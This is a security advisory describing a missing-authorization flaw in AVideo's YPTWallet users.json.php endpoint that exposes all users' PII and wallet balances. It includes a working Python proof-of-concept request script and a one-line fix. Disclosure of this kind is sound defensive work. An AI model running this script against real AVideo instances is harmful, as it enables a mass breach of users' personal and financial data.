AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php

Severity: High CWE: CWE-862 (Missing Authorization)

Summary

The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.

Details

The authorization check at plugin/YPTWallet/view/users.json.php:8:

if (!User::isLogged()) {
    die("Is not logged");
}

The query in YPTWallet::getAllUsers() selects all columns from both tables:

$sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u "
    . " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 ";

The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, analyticsCode, donationLink, and balance.

Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().

Proof of Concept

import requests

TARGET = "https://your-avideo-instance.com"

# Step 1: Login as any regular (non-admin) user
session = requests.Session()
session.post(f"{TARGET}/objects/login.json.php", data={
    "user": "regular_user",
    "pass": "regular_password"
})

# Step 2: Request the users endpoint
resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={
    "current": "1",
    "rowCount": "10"
})

data = resp.json()
print(f"Total users: {data['total']}")
for u in data["rows"]:
    print(f"  User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")

The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, balance, analyticsCode, donationLink.

Impact

Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.

Recommended Fix

Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:

// plugin/YPTWallet/view/users.json.php:8
// Before:
if (!User::isLogged()) {
    die("Is not logged");
}

// After:
if (!User::isAdmin()) {
    die("Is not logged");
}

This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).
